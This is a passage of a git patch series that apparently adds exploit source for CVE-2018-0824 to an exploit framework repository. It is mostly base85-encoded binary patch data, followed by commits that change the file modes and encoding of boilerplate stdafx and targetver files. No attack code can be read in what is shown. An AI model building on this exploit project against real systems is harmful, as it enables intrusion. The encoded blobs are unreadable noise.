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 literal 0 HcmV?d00001 From d1d40115c5222c91b821037bbd00756179489dc8 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 12 Oct 2018 14:39:00 -0500 Subject: [PATCH 13/20] Fix source to not look like binary --- external/source/exploits/CVE-2018-0824/stdafx.cpp | Bin external/source/exploits/CVE-2018-0824/stdafx.h | Bin external/source/exploits/CVE-2018-0824/targetver.h | Bin 3 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 external/source/exploits/CVE-2018-0824/stdafx.cpp mode change 100644 => 100755 external/source/exploits/CVE-2018-0824/stdafx.h mode change 100644 => 100755 external/source/exploits/CVE-2018-0824/targetver.h diff --git a/external/source/exploits/CVE-2018-0824/stdafx.cpp b/external/source/exploits/CVE-2018-0824/stdafx.cpp old mode 100644 new mode 100755 diff --git a/external/source/exploits/CVE-2018-0824/stdafx.h b/external/source/exploits/CVE-2018-0824/stdafx.h old mode 100644 new mode 100755 diff --git a/external/source/exploits/CVE-2018-0824/targetver.h b/external/source/exploits/CVE-2018-0824/targetver.h old mode 100644 new mode 100755 From 629f4c190da77d2fc9ab95e1be864bf1d4867f8d Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 12 Oct 2018 14:44:17 -0500 Subject: [PATCH 14/20] change encoding so app source no longer appears as binary --- .../source/exploits/CVE-2018-0824/stdafx.cpp | Bin 600 -> 299 bytes external/source/exploits/CVE-2018-0824/stdafx.h | Bin 642 -> 320 bytes .../source/exploits/CVE-2018-0824/targetver.h | Bin 630 -> 314 bytes 3 files changed, 0 insertions(+), 0 deletions(-) diff --git a/external/source/exploits/CVE-2018-0824/stdafx.cpp b/external/source/exploits/CVE-2018-0824/stdafx.cpp index 6d9ca6847aa4971de9bd9d6b1d9e8dc689900f8f..e6fd397d43a11ac719151f01ea0e644812e88689 100755 GIT binary patch literal 299 zcmZXQv2MdK3`BPW{)a<4$KJCQ2#RhA&=knZNHnBCrUXew;=eEL7+JcKyt{Yodz5Nv zcy=Zw98ltv4P)?uQ5{uyF=4V?aGy%m5$ipPrEK4;w&{EP%1F653g?G($v8ZG2)HdS zjFfqA;+WLc!ZBISt7wakxBKhdM5*NEzoyQKHE)P{r0S!zP1}5IXxMEwZnun;<#IZn w4#+%kX3;hzGss%MC@E|J1#_GrtVEjlb2)x~UAym9ul*o#>8>QctlwyxKhZj6DgXcg literal 600 zcmZ{iK}*9>5QOI}_#c9vZSUR$5pN1s@EV(hro<#9DVjg8ezUPnt4P_txBGT?W@q#D zxztjLdJW2ys?diPTC3%k=sI2+?bH#=@d}ly;x=eQ{y?l$&1*$g#!F9R%iSFlY!lh` zQu2(^@&C8#TxT#bmuK?cBCijON{@Ocwt&-`NP=e;6}Q&|7qe^Wo$HFMh7RoySEHFl z8vHuVNT*XbblaYEcb__#d&YU1|8WM5;F^mo3hKLO~E#|Fw&I0pk^^ItK$2c=4E#W<3rlHia0^ZRGpB-mSZGPBDq9?6DxzU|oQ2hQ# Wt!aO*Xy`pnIB8PG*7x6rS$_jc%4a74 diff --git a/external/source/exploits/CVE-2018-0824/stdafx.h b/external/source/exploits/CVE-2018-0824/stdafx.h index 94d4ed877dbfd8cd2c783931c444cad664143b10..47a0d0252b148bbb77eca0042cbf79e4e65f4fc8 100755 GIT binary patch literal 320 zcmY+9L5jmL3`O^W+(C4{5BjA8O99?Dvj=7UhqZPWK))*|_roI+X1abS1UKqD%k5Y$2*g3zN< 